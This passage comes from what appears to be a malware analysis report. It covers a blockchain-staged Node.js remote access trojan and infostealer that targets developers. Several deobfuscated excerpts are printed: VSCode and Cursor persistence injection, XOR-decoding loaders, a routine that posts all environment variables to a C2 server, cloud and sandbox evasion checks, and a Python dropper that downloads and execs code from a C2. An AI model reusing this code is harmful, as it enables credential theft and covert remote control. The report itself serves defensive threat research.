timeout=15,max=100\r\nThe URL in question downloads this file directly:\r\nhttps://github.com/duanegoodner/xiangqigame/raw/refs/heads/main/prototypes/crtp_constructors/gist_crtp_constructors\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 20 of 66\n\nThis is a C++ compiled ELF binary. The peculiar aspect of this discovery was that it didn't align with our\r\ninvestigation's progression and appeared to be a possible red herring in the Reverse Engineering process. We\r\ninitially believed this redirect was deliberately placed and represented the final component of the puzzle. However,\r\nupon reviewing our workflow, we determined this was not the case.\r\nThe repository itself is a C++ AI engine for Chinese Chess, wrapped in Python manager and CLI:\r\nThis doesn't appear to be a real individual either:\r\nThere is also an email address and LinkedIn Profile:\r\nPayload1_1_1 (Cross-Platform NodeJS Remote Access Trojan)\r\nSHA256: eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30\r\nWe now have the next stage of the payload, which is a larger obfuscated JS code piece.\r\nWhat is more disturbing is that commercial malware sandboxes had no detections on this enormous payload:\r\nDeobfuscation\r\nThe previous payload was the Cross-Chain TxDataHiding and now we have a payload with ~2500 lines of highly\r\nobfuscated JS code. Manual deobfuscation of this is near impossible and whilst numerous attempts of debugging\r\nand disassembling were attempted, clearly some kind of third-party obfuscator was used for this, otherwise this\r\nwould be too labour intensive to craft. Debugging this the large array at the end of the code checks for all types of\r\ndebuggers and disassemblers which we will discuss shortly. Looking around online, we stumbled across\r\nObfuscator.io Deobfuscator. Running this against our code allowed us to see the next stage of the code.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 21 of 66\n\nPayload Analysis - Stage 3 RAT (Remote Access Trojan)\r\nCode Size: Approximately 530 lines of obfuscated JavaScript\r\nPlatform Support: Cross-platform - runs on any operating system with Node.js/JavaScript runtime installed\r\n(Windows, macOS, Linux, BSD, etc.)\r\nThis is the final stage payload - a full-featured Remote Access Trojan with persistent IDE injection capabilities.\r\nRemote Access Capabilities\r\nCustom Commands (ss_ prefix):\r\n1. Any shell command - Full remote shell RCE (Remote Code Execution) - executes native OS commands via\r\nchild_process.exec\r\n2. [command] - Detached process execution (runs independently, hidden)\r\n3. ss_eval:[code] - Execute arbitrary JavaScript code\r\n4. ss_info - System reconnaissance (OS, Node version, paths, timestamps)\r\n5. ss_ip - Geolocation via http://ip-api.com/json\r\n6. ss_upf:[file],[destination] - Upload single file via HTTP\r\n7. ss_upd:[dir],[destination] - Upload entire directory recursively\r\n8. ss_stop - Stop current upload operation\r\n9. cd [path] - Change directory\r\n10. ss_dir - Reset to startup directory\r\n11. ss_fcd:[path] - Force change directory\r\n12. ss_inz:[filepath] - Inject malware into specified file\r\n13. ss_inzx:[filepath] - Remove injection from file\r\nAnti-Debugging \u0026 Anti-Disassembly Techniques\r\n1. Infinite Loop Anti-Debugger (Lines 1-10):\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 22 of 66\n\nconst a0b = function () {\r\n let a = true;\r\n return function (b, c) {\r\n const d = a ? function () {\r\n if (c) {\r\n const e = c.apply(b, arguments);\r\n c = null;\r\n return e;\r\n }\r\n } : function () {};\r\n a = false;\r\n return d;\r\n };\r\n}();\r\nPurpose: Self-modifying execution wrapper that only runs once. Detects tampering if called multiple times\r\n(common debugger behavior).\r\n2. Catastrophic Backtracking RegEx (Lines 11-13):\r\nconst a0a = a0b(this, function () {\r\n return a0a.toString().search(\"(((.+)+)+)+$\")\r\n .toString().constructor(a0a).search(\"(((.+)+)+)+$\");\r\n});\r\na0a();\r\nPurpose:\r\nRegex DoS Pattern: (((.+)+)+)+$ causes exponential backtracking\r\nFreezes Analysis Tools: The catastrophic backtracking pattern (((.+)+)+)+$ causes JavaScript\r\ndeobfuscators, beautifiers, and static analysis tools to hang indefinitely when they attempt to evaluate or\r\nsimplify the regex. Security researchers trying to reverse engineer the code will find their automated analysis\r\ntools freeze or crash, while the actual malware executes normally in victim browsers due to runtime\r\noptimizations and timeout protections. This anti-analysis technique acts as a roadblock, forcing manual code\r\nreview and slowing down threat intelligence efforts.\r\nAnti-Analysis Trap: Executes a catastrophic backtracking regex pattern (((.+)+)+)+$ against the\r\nfunction's source code that causes JavaScript deobfuscators, beautifiers, and static analysis tools to freeze\r\nindefinitely when they attempt to process it. The code doesn't actually check or compare anything—it's\r\npurely designed to crash automated reverse engineering tools while executing harmlessly in victim browsers.\r\nConstructor Chaining: Checks runtime integrity\r\nReferenced Throughout: This pattern appears at the very start (lines 1-13) as a gatekeeper before any malicious\r\nactivity begins.\r\n3. Base64 + XOR Multi-Layer Obfuscation (Lines 100-103):\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 23 of 66\n\nconst G = function (H) {\r\n const J = \"4#uLeVM[3lESLGA\".length; // XOR key\r\n let K = '';\r\n for (let L = 0x0; L \u003c H.length; L++) {\r\n const M = H.charCodeAt(L);\r\n const N = \"4#uLeVM[3lESLGA\".charCodeAt(L % J);\r\n K += global.String.fromCharCode(M ^ N);\r\n }\r\n return K;\r\n}(atob(\"HEUAIgYiJDRdRGwoOiYz...\")); // Massive base64 blob\r\n// Then injected into VSCode:\r\nd.inz = \"global['_V']='\" + e + \"';global['r']=require;global['m']=module;\" + G;\r\nPurpose:\r\nBase64 encoding → XOR decryption with key 4#uLeVM[3lESLGA\r\nContains the entire Payload1_1 code (~150 lines of Cross-Chain TxDataHiding downloader)\r\nPayload is only revealed at runtime (defeats static analysis)\r\nMultiple kilobytes of encoded malicious code, which allows the attacker to embed a complete persistence\r\npayload into the developer's IDE that automatically re-executes on every launch while evading antivirus\r\ndetection through runtime-only decryption.\r\nThis Stage 2 code gets injected into VSCode for persistence (lines 50-75)\r\nWhen VSCode launches, Stage 2 downloads a fresh Stage 3 from C2\r\nWhat's Inside the atob():\r\n// Decrypted content (Stage 2):\r\n_$_9bbf=(_$af813180)(\"%5elgrxif1orpnrbF4ruYp%ertm8ac%...\", 438651);\r\n(async ()=\u003e{\r\n // Blockchain fetch from Tron/Aptos/BSC\r\n // XOR key: 'cA]2!+37v,-szeU}'\r\n // Downloads Stage 3 from blockchain\r\n // Executes Stage 3 (this 530-line RAT)\r\n})()\r\nPersistence Mechanism:\r\n1. RAT decrypts atob() to get Payload1_1, allowing for a newer refined version of the code should the initial\r\nRAT fail for any reason\r\n2. RAT injects Payload1_1 into VSCode files\r\n3. VSCode executes Payload1_1 on every launch\r\n4. Payload1_1 downloads fresh TxData hidden in BSC from blockchain/C2\r\n1. Particularly useful if the code requires optimisation if it's not working properly\r\n5. Loop continues indefinitely\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 24 of 66\n\nThis creates a self-perpetuating infection cycle where the lightweight Stage 2 remains persistent in VSCode while\r\nthe full-featured Stage 3 RAT is downloaded fresh on each execution.\r\nNote: the payloads frequently changed the transaction data and ultimately the deobfuscated code, likely for\r\nperformance and compatibility reasons as well as enhancing further anti-reversing techniques. Below you can see\r\nthe two payloads from the same XCTDH fetch one week apart:\r\n4. Variable Name Obfuscation:\r\nFunctions named a0a , a0b , a0n with hex offset-based string access makes reverse engineering extremely\r\ndifficult.\r\n5. Anti-Tampering Checks (Throughout):\r\nThere are multiple conditional checks, such as:\r\nif (!d.inz) { return false; }\r\nif (global.process.env.jsbot) { return; }\r\nDetects sandbox/analysis environments by checking for specific variables.\r\nPrimary Functions\r\n1. IDE Persistence via Code Injection\r\nTargets developer tools to maintain persistence:\r\nVSCode Injection:\r\nWindows: %LOCALAPPDATA%\\Programs\\Microsoft VS\r\nCode\\resources\\app\\node_modules\\@vscode\\deviceid\\dist\\index.js\r\nmacOS: /Applications/Visual Studio\r\nCode.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js\r\nLinux: /usr/share/code/resources/app/node_modules/@vscode/deviceid/dist/index.js\r\nCursor IDE Injection:\r\nWindows:\r\n%LOCALAPPDATA%\\Programs\\cursor\\resources\\app\\node_modules\\@vscode\\deviceid\\dist\\index.js\r\nmacOS:\r\n/Applications/Cursor.app/Contents/Resources/app/node_modules/@vscode/deviceid/dist/index.js\r\nLinux: /usr/share/cursor/resources/app/node_modules/@vscode/deviceid/dist/index.js\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 25 of 66\n\nHow VSCode Injection Works:\r\nTarget File: The @vscode/deviceid module - a legitimate VSCode component used for device identification. This\r\nis executed early in VSCode's startup process.\r\nInjection Process (Lines 50-75):\r\n1. Checks if the file exists and is writable\r\n2. Reads the current file's contents\r\n3. Looks for injection marker /*C250617A*/\r\n4. If it's already injected with the same version, the process skips injecting malicious code if the target already\r\ncontains the same version of the injection (identified by the marker in step 3) to avoid duplication\r\n5. If a different version or if it's not injected, the process appends malicious code with 200 spaces padding for\r\nobfuscation\r\n6. Injects this code block:\r\n/*C250617A*/\r\nglobal['e']='vscode-eval';\r\nglobal['_V']='[version]';\r\nglobal['r']=require;\r\nglobal['m']=module;\r\n[entire base64-decoded RAT payload]\r\nWhy This Is Devastating:\r\nAutomatic Execution: Runs every time the developer opens VSCode/Cursor\r\nEarly Startup: Executes before any user code loads\r\nLegitimate Path: Modifies official VSCode files, bypasses most antivirus\r\nDeveloper Trust: Developers trust their IDE completely\r\nCode Contamination Risk: An attacker can modify any project the developer works on\r\nSupply Chain Attack: Infected developers may commit malware into production repositories\r\nUniversal Compatibility: Since it's pure JavaScript, it works on any OS where Node.js runs - no platform-specific binaries needed\r\nCross-Platform Architecture\r\nOS Detection \u0026 Adaptation (Lines 20-30):\r\nconst l = g.platform(); // Detects OS\r\nconst m = l.startsWith(\"win\"); // Windows check\r\nif (l === \"darwin\") { /* macOS */ }\r\nelse { /* Linux/Unix */ }\r\nPlatform-Specific Behavior:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 26 of 66\n\nWindows: Uses %LOCALAPPDATA% , adds Python paths, windowsHide: true\r\nmacOS: Uses /Applications/ , checks file permissions\r\nLinux: Uses /usr/share/ , standard Unix paths\r\nAll Others: Falls back to generic Unix-style paths\r\nWhy JavaScript Makes This Dangerous:\r\nNo Compilation: Same payload works everywhere without modification\r\nUbiquitous Runtime: Node.js is installed on virtually all developer machines\r\nNative APIs: Full access to file system, network, and process execution via Node.js APIs\r\nPackage Ecosystem: Can dynamically install dependencies ( axios , socket.io-client ) via NPM\r\nInterpreted Language: Harder to detect than compiled malware and easier to obfuscate\r\nC2 Infrastructure\r\nMulti-Server Setup Based on _V Variable (Lines 250-260):\r\nif (e[0] == 'A') { K = \"136.0.9.8\"; } // Version A\r\nelse if (e[0] == 'C') { K = \"23.27.202.27\"; } // Version C\r\nelse if (!isNaN(parseInt(e))) { K = \"166.88.4.2\"; } // Numeric versions\r\nelse { K = \"23.27.202.27\"; } // Default\r\nC2 Endpoints:\r\nCommand Socket: http://[server]:443 (WebSocket via socket.io)\r\nHTTP API: http://[server]:27017\r\n/verify-human/[version] - Logging/telemetry\r\n/u/f - File upload endpoint\r\nVM Detection \u0026 Network Bypass\r\nNetwork Persistence Mechanisms (Lines 280-290):\r\n1. Socket.io Auto-Reconnect:\r\nreconnectionDelay: 5000 // 5 second retry\r\nContinuously attempts re-connection\r\nSurvives temporary network drops\r\nWorks across VM suspend/resume cycles\r\n2. Multiple C2 Servers:\r\nIf one server is blocked, an attacker can update the _V variable to redirect to different infrastructure\r\n3+ different IP addresses configured\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 27 of 66\n\n3. IDE Persistence:\r\nEven if VM network is disabled/closed, the infection remains in VSCode\r\nWhen VM restarts with network, malware reactivates automatically\r\nSurvives VM snapshots and rollbacks if IDE files are on persistent disk\r\nWorks on any VM with JavaScript/Node.js - VMware, VirtualBox, Hyper-V, KVM, Docker containers,\r\nWSL, etc.\r\nLimitations:\r\nAir-gapped VMs: Cannot connect if there's no network access\r\nStrict egress filtering: Requires outbound HTTP/HTTPS on ports 443 and 27017\r\nVM with read-only IDE installation: Cannot inject if the VSCode directory is immutable\r\nHowever:\r\nMost development VMs have full internet access (required for package downloads)\r\nPorts 443 and 27017 are commonly allowed (HTTPS and MongoDB)\r\nDevelopers typically run VMs with persistent file systems\r\nVM suspend/resume doesn't clear the infection\r\nJavaScript cross-platform nature means same infection works across Windows VMs, Linux VMs, macOS\r\nVMs, containers, etc.\r\nDEV#POPPER.js RAT Summary\r\nThis 530-line, cross-platform RAT with advanced anti-debugging capabilities is designed to:\r\nEvade analysis through catastrophic regex patterns (lines 1-13), self-modifying code, and multi-layer\r\nencryption\r\nDefeat disassembly with runtime-only payload decryption and obfuscated control flow\r\nInfect developer IDEs (VSCode/Cursor) for persistent access on any OS\r\nProvide full RCE (Remote Code Execution) via native shell commands\r\nSurvive VM restarts and network interruptions via IDE injection\r\nMaintain stealth through legitimate file modification\r\nAuto-reconnect to multiple C2 servers\r\nTarget software developers to compromise codebases\r\nWork universally on Windows, macOS, Linux, BSD, and any OS with Node.js - no recompilation or\r\nplatform-specific variants needed\r\nCritical Risk: The combination of VSCode injection, JavaScript's cross-platform nature, and sophisticated anti-debugging techniques makes this particularly dangerous. The regex-based anti-disassembly (lines 11-13) actively\r\nprevents security researchers from analysing the code, while the XOR-encrypted payload (line 100+) ensures static\r\nanalysis tools cannot detect the malicious behavior without executing the code. A developer infected on Windows\r\ncould spread the malware to Linux production servers simply by opening VSCode.\r\nPayload1_2_1 (InfoStealer Stager)\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 28 of 66\n\nSHA256: 8c0233a07662934977d1c5c29b930f4acd57a39200162cbd7d2f2a201601e201\r\nWe now have the payload from the HTTP request via http://23.27.20.143:27017/$/boot .\r\nDeobfuscation\r\nThe previous payload was the Cross-Chain TxDataHiding and now we have a payload with ~2500 lines of highly\r\nobfuscated JS code. Similar to Payload 1_1_1, we used Obfuscator.io Deobfuscator, running this against our code\r\nallowed us to see the next stage of the code.\r\nStage 3 Payload Analysis - Python Dropper \u0026 Stage 4 Fetcher\r\nFile Size: Approximately 430 lines of JavaScript\r\nDesignation: Stage 3 (Payload1_2_1) - Fetches Stage 4 (Payload1_2_1_1) InfoStealer and Persistence Mechanism\r\n1. Embedded Alternative RAT Fetcher (Lines 100-120)\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 29 of 66\n\nconst O = function (P) {\r\n const R = \"4#uLeVM[3lESLGA\".length; // XOR key\r\n let S = '';\r\n for (let T = 0x0; T \u003c P.length; T++) {\r\n const U = P.charCodeAt(T);\r\n const V = \"4#uLeVM[3lESLGA\".charCodeAt(T % R);\r\n S += global.String.fromCharCode(U ^ V);\r\n }\r\n return S;\r\n}(atob(\"HEUAIgYiJDRdRGwoOiYzFEsbOlhxandZDghueXJ0GRZBeF4wODVQGCw8ImcAe1VdJ0wtOzpBTC...\"));\r\nWhat this atob() contains:\r\nPayload 1_1: The blockchain-based RAT fetcher (same as Stage 1)\r\nXOR Key: '4#uLeVM[3lESLGA'\r\nFetches from: Tron → Aptos → BSC blockchain\r\nDownloads: 530-line RAT (Payload 1_1_1) with full capabilities\r\nPurpose: Fallback persistence mechanism if HTTP C2 (Stage 2) fails\r\n2. Dual Persistence Strategy (Lines 125-135)\r\n// Method 1: Detached background process\r\nv.spawn(\"node\", ['-e',\r\n \"global['_V']='\" + p + \"';\" +\r\n \"global['r']=require;\" +\r\n \"global['m']=module;\" + O // Payload 1_1 (blockchain RAT fetcher)\r\n], {\r\n 'detached': true,\r\n 'stdio': \"ignore\",\r\n 'windowsHide': true\r\n}).on(\"error\", function (P) {});\r\n// Method 2: Direct eval in current process\r\neval(\"global['e']='boot-eval';\" + O);\r\nStrategy:\r\nSpawns Payload 1_1 (blockchain RAT fetcher) as detached hidden process\r\nAlso executes Payload 1_1 via eval() in current process\r\nEnsures RAT remains accessible even if HTTP C2 is blocked\r\nCreates redundant infection vectors (blockchain + HTTP)\r\nPersistence Architecture Clarification\r\nMulti-Layer Persistence:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 30 of 66\n\nStage 3 (Payload 1_2_1) creates TWO parallel persistence mechanisms:\r\n1. HTTP-Based Path (Primary):\r\n └─\u003e Stage 4 Python Dropper (Lines 260-285)\r\n └─\u003e Fetches Stage 4 from http://[C2]:27017/$/z1\r\n └─\u003e XOR Key: '9KyASt+7D0mjPHFY'\r\n2. Blockchain-Based Path (Fallback):\r\n └─\u003e Payload 1_1 in atob() (Lines 100-120)\r\n └─\u003e Fetches Tron/Aptos/BSC\r\n └─\u003e XOR Key: '4#uLeVM[3lESLGA'\r\n └─\u003e Downloads 530-line RAT (Payload 1_1_1)\r\n └─\u003e RAT can re-inject Stage 2 into VSCode\r\nWhy This Design? Redundancy \u0026 Resilience:\r\nIf HTTP C2 is blocked/down:\r\n✅ Blockchain path still active (nearly impossible to block)\r\n✅ Payload 1_1 fetches RAT from Tron/Aptos/BSC\r\n✅ RAT re-establishes full control\r\nIf blockchain is blocked (extremely rare):\r\n✅ HTTP C2 path still active\r\n✅ Stage 4 Python dropper continues operating\r\nIf both are blocked:\r\n✅ Stage 2 remains in VSCode\r\n✅ Next VSCode launch retries both paths\r\n✅ Infection persists indefinitely\r\n3. Environment Variable Exfiltration (Lines 140-165)\r\nconst Q = global.process.env;\r\nconst R = Object.keys(Q).sort().reduce((W, X) =\u003e {\r\n if (![\"pm_uptime\", \"created_at\", \"restart_time\", /* ... */].includes(X)) {\r\n W[X] = Q[X]; // Collect all env vars\r\n }\r\n return W;\r\n}, {});\r\nconst S = JSON.stringify(R);\r\n// Exfiltrate to C2\r\nconst T = q + \"/snv\"; // q = global._H = \"http://[C2_IP]:27017\"\r\nconst U = {\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 31 of 66\n\nid: x + '$' + y, // hostname$username\r\n user: y,\r\n body: S // All environment variables\r\n};\r\nawait J.post(T, U);\r\nExfiltrates to: http://[C2_IP]:27017/snv\r\nData Stolen:\r\nAPI keys (AWS_ACCESS_KEY_ID, GITHUB_TOKEN, etc.)\r\nDatabase credentials\r\nOAuth tokens\r\nService account credentials\r\nInternal URLs and endpoints\r\n4. Cloud/Sandbox Detection \u0026 Evasion (Lines 170-250)\r\nAnti-Analysis Mechanisms:\r\n// AWS Detection\r\nif ((y === \"ubuntu\" || y === \"runner\" || y === \"root\") \u0026\u0026\r\n (z.includes(\"-aws\") || z.includes(\".amzn\") || z.includes(\".cm2\"))) {\r\n K(x + '$' + y + \" / \" + A + \"\\nBlocked (AWS)\\n\", \"(Blocked)\");\r\n return;\r\n}\r\n// Azure Detection\r\nif (y === \"runner\" \u0026\u0026 z.includes(\"-azure\") ||\r\n y === \"codespace\" \u0026\u0026 z.includes(\"-azure\")) {\r\n K(x + '$' + y + \" / \" + A + \"\\nBlocked (Azure)\\n\", \"(Blocked)\");\r\n return;\r\n}\r\n// GCP Detection (detects via K_SERVICE env var)\r\nif (x === \"localhost\" \u0026\u0026 y === \"root\" \u0026\u0026 global.process.env.K_SERVICE) {\r\n K(x + '$' + y + \" / \" + A + \"\\nBlocked (GCP)\\n\", \"(Blocked)\");\r\n return;\r\n}\r\n// Vercel Detection (detects via VERCEL_HIVE_VERSION env var)\r\nif (x.startsWith(\"192.168.\") \u0026\u0026 y === \"root\" \u0026\u0026\r\n global.process.env.VERCEL_HIVE_VERSION) {\r\n K(x + '$' + y + \" / \" + A + \"\\nBlocked (Vercel)\\n\", \"(Blocked)\");\r\n return;\r\n}\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 32 of 66\n\n// Kali Linux (security research VM)\r\nif (x === \"kali\" \u0026\u0026 (y === \"root\" || y === \"kali\" || y === \"shellchocolat\")) {\r\n K(x + '$' + y + \" / \" + A + \"\\nBlocked\\n\", \"(Blocked)\");\r\n return;\r\n}\r\n// Generic sandbox patterns (UUID hostnames, hex patterns)\r\nif (/^[0-9a-f]{12}$/.test(x) \u0026\u0026 (y === \"root\" || y === \"node\") ||\r\n /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/.test(x)) {\r\n K(x + '$' + y + \" / \" + A + \"\\nBlocked\\n\", \"(Blocked)\");\r\n return;\r\n}\r\n// Test environment\r\nif (x === \"EV-CHQG3L42MMQ\") {\r\n K(x + '$' + y + \" / \" + A + \"\\nBlocked (Test)\\n\", \"(Test-Blocked)\");\r\n return;\r\n}\r\nBlocks execution on:\r\n✅ AWS EC2 (detects via kernel and usernames)\r\n✅ Azure VMs (detects via kernel signatures)\r\n✅ Google Cloud Platform (K_SERVICE env var)\r\n✅ Vercel (VERCEL_HIVE_VERSION env var)\r\n✅ Amplify CI/CD\r\n✅ GitHub Actions runners\r\n✅ Docker containers (UUID/hex hostname patterns)\r\n✅ Kali Linux (security research OS)\r\n✅ CI/CD build environments\r\n✅ Specific test machines\r\nPurpose: Avoid detection by cloud providers, security researchers, and sandboxes\r\n5. Stage 4 Python Dropper (Lines 260-285)\r\nPython Payload Template - Downloads Stage 4:\r\ncode = \"\"\"\r\nimport sys,base64\r\nfrom urllib.request import Request,urlopen;\r\ndef x(a,b): # XOR decryption function\r\n kn=len(b);c=bytearray(len(a))\r\n for i in range(len(a)):c[i]=a[i]^ord(b[i%kn])\r\n return c\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 33 of 66\n\nif __name__=='__main__':\r\n id=sys.argv[1] # 'z1' = Stage 4 identifier\r\n sys._v1=sys.argv[2] if len(sys.argv)\u003e2 else ''\r\n sys._v2=sys.argv[3] if len(sys.argv)\u003e3 else None\r\n try:\r\n # Download Stage 4 from C2\r\n exec(x(\r\n base64.b64decode(\r\n urlopen(Request(\r\n f'{C2_URL}/$/{id}', # http://[C2]:27017/$/z1\r\n headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...'}\r\n )).read().decode('utf-8')\r\n ),\r\n '9KyASt+7D0mjPHFY' # XOR key for Python payloads\r\n ).decode('utf-8'), globals())\r\n except Exception as ex:\r\n print(ex)\r\n\"\"\"\r\n# Launcher wrapper\r\nimport os,sys,subprocess\r\nsubprocess.Popen([sys.executable, '-c', code, 'z1', _v1, _v2],\r\n creationflags=flags,\r\n preexec_fn=os.setsid)\r\nStage 4 Download Details:\r\nURL: http://[C2_IP]:27017/$/z1\r\nXOR Key: '9KyASt+7D0mjPHFY'\r\nEncoding: Base64 → XOR decrypt → Python code\r\nExecution: Detached, hidden process\r\nPurpose: Fetches and executes Stage 4 (Payload 1_2_1_1)\r\nImportant Note: Secondary Payload Disabled\r\nThe code shows a commented-out second payload ( zz2 ):\r\n# subprocess.Popen([sys.executable, '-c', code, 'zz2', _v1],\r\n# creationflags=flags,\r\n# preexec_fn=os.setsid)\r\nImplications:\r\nOriginally designed to fetch two Python payloads simultaneously\r\nz1 = Active (Stage 4 InfoStealer)\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 34 of 66\n\nzz2 = Disabled/Commented Out (unknown purpose)\r\nAttackers may have disabled zz2 temporarily or permanently\r\nCould be re-enabled in future malware updates\r\nSuggests a modular payload system where attackers can enable/disable components\r\nPotential reasons for disabling zz2:\r\n✅ Still in development\r\n✅ Some form of destructive malware that causes too much detection/noise\r\n✅ Reserved for high-value targets only\r\n✅ Replaced by blockchain fallback mechanism\r\n✅ Part of A/B testing different infection strategies\r\nNote: One victim did also claim ransomware was deployed via this Threat Actor, however the report on this was not\r\nthorough and much of their claims are not accurate, such as claiming on social media that 3 out of 9 developers are\r\ninfected.\r\n6. Python Installation Automation\r\nWindows (Lines 290-360):\r\n// Check for existing Python\r\nW = await F('py', ['-V'], {windowsHide: true});\r\nX = await F('py', ['-m', \"pip\", '-V'], {windowsHide: true});\r\nif (W \u0026\u0026 X \u0026\u0026 W.includes(\"Python 3.\")) {\r\n // Use existing Python to launch Stage 4\r\n await F('py', ['-c', M, p, Y], {windowsHide: true});\r\n} else {\r\n // Install Python automatically\r\n K(x + '$' + y + \" / \" + A + \"\\nInstalling python...\");\r\n const T = \"%LOCALAPPDATA%\\\\Programs\\\\Python\\\\Python3127\";\r\n await u.promises.mkdir(T, {recursive: true});\r\n // Download Python portable from C2\r\n const ae = q + \"/d/python.zip\"; // http://[C2]:27017/d/python.zip\r\n const af = t.join(T, \"python.zip\");\r\n await L(ae, af);\r\n // Extract using tar (Windows 10+)\r\n try {\r\n await F(\"tar\", [\"-xf\", af, '-C', T], {shell: true, windowsHide: true});\r\n } catch (ai) {\r\n // Fallback: Use 7-Zip if tar fails\r\n K(x + '$' + y + \" / \" + A + \"\\nfailed to install py using tar: \" + ai);\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 35 of 66\n\nconst aj = q + \"/d/python.7z\";\r\n const ak = t.join(T, \"python.7z\");\r\n await L(aj, ak);\r\n const al = q + \"/d/7zr.exe\";\r\n const am = t.join(T, \"7zr.exe\");\r\n await L(al, am);\r\n await F(am, ['x', ak, '-o' + T, \"-bd\", \"-aoa\"], {windowsHide: true});\r\n }\r\n await u.promises.mkdir(U, {recursive: true}); // Create Doc folder marker\r\n}\r\nWindows Python Installation:\r\nDownloads portable Python 3.12.7 (~25MB) from C2\r\nInstalls to: %LOCALAPPDATA%\\Programs\\Python\\Python3127\r\nUses native tar (Windows 10+) for extraction\r\nFalls back to 7-Zip if tar fails (downloads 7zr.exe from C2)\r\nCreates marker file to detect if it's already running\r\nCompletely hidden (windowsHide: true on all operations)\r\nLinux/macOS (Lines 370-420):\r\nlet as = false;\r\ntry {\r\n as = await F(\"python3\", ['-V']);\r\n K(x + '$' + y + \" / \" + A + \"\\npy3 = \" + as);\r\n} catch (at) {}\r\nfor (let au = 0x0; au \u003c 0x3; au++) {\r\n try {\r\n if (as \u0026\u0026 as.includes(\"Python 3.\")) {\r\n // Launch Stage 4\r\n const av = await F(\"python3\", ['-c', M, p]);\r\n // If pip missing, install it\r\n if (av.includes(\"\u003cERROR\u003e Failed to install pip:\")) {\r\n K(x + '$' + y + \" / \" + A + \"\\n\" + av + \"\\nInstalling pip...\");\r\n await L(\"https://bootstrap.pypa.io/get-pip.py\", \"/tmp/get-pip.py\");\r\n await E(\"python3 \\\"/tmp/get-pip.py\\\" --break-system-packages\");\r\n continue;\r\n } else if (av.includes(\"\u003c/?\u003e\")) {\r\n K(x + '$' + y + \" / \" + A + \"\\n\" + av);\r\n break;\r\n }\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 36 of 66\n\n}\r\n } catch (ax) {\r\n K(x + '$' + y + \" / \" + A + \"\\nfailed to install/run py: \" + ax);\r\n }\r\n await new Promise(ay =\u003e setTimeout(ay, 15000)); // 15 second retry\r\n}\r\nLinux/macOS Python Usage:\r\nUses system python3 binary (typically pre-installed)\r\nInstalls pip if missing (from bootstrap.pypa.io)\r\nUses --break-system-packages flag (bypasses Python 3.11+ restrictions)\r\nRetries up to 3 times with 15-second delays\r\nReports all operations back to C2\r\n7. Concurrency Control (Lines 305-320)\r\n// Check if already running\r\ntry {\r\n u.readFileSync(t.join(S, \"Temp\", \"tmp7A863DD1.tmp\"));\r\n} catch (a4) {\r\n if (a4.code === \"EBUSY\") {\r\n K(x + '$' + y + \" / \" + A + \"\\nstill running...\");\r\n a3--;\r\n await new Promise(a5 =\u003e setTimeout(a5, 15000));\r\n break aB;\r\n }\r\n}\r\n// Create temp marker file\r\nconst Y = \"tmp\" + new Date().getTime() + \".tmp\";\r\nconst Z = t.join(S, \"Temp\", Y);\r\nPurpose:\r\nPrevents multiple instances from running simultaneously\r\nUses temp file locking mechanism\r\nDetects if Stage 4 is already active\r\nReports to C2 and waits if already running\r\nAnti-Debugging \u0026 Evasion\r\n1. Catastrophic Backtracking RegEx (Lines 1-13):\r\nconst a0a = a0b(this, function () {\r\n return a0a.toString().search(\"(((.+)+)+)+$\")\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 37 of 66\n\n.toString().constructor(a0a).search(\"(((.+)+)+)+$\");\r\n});\r\na0a();\r\nHangs static analysis tools\r\nDetects function modification\r\n2. Cloud Platform Detection:\r\nEnvironment variable inspection (K_SERVICE, VERCEL_HIVE_VERSION)\r\nKernel version analysis (AWS/Azure signatures)\r\nHostname patterns (Docker, CI/CD)\r\nUsername patterns (security research VMs)\r\n3. Execution Blocking:\r\nReturns early if sandbox detected\r\nReports to C2 but doesn't execute payloads\r\nLogs detection reason for attacker intelligence\r\nFetching the Final Payload (Payload1_2_1_1)\r\nHere's where it gets particularly tricky. The IP address 23.27.20[.]143 is also the location from which the payload is\r\nretrieved. However, before Payload1_2_1 can reach it, telemetry data must first be sent from the RAT\r\n(Payload1_1_1).\r\nHow the RAT reaches remote code execution is simple:\r\nStep\r\nMalware\r\nComponent\r\nFetches From Endpoint Headers What It Gets Saved As\r\n1\r\nStage 2 (HTTP\r\nC2 Beacon -\r\nVSCode injected)\r\nDropper C2\r\n(23.27.20.143)\r\n/$/boot\r\nSec-V:\r\n_V\r\nStage 3\r\n(Python\r\nDropper)\r\nIn-memory\r\n→ eval()\r\n2\r\nStage 3 (Python\r\nDropper)\r\n_V-selected C2\r\n/verify-human/{_V}\r\nNone\r\nNothing\r\n(registration)\r\nN/A\r\n3\r\nStage 3 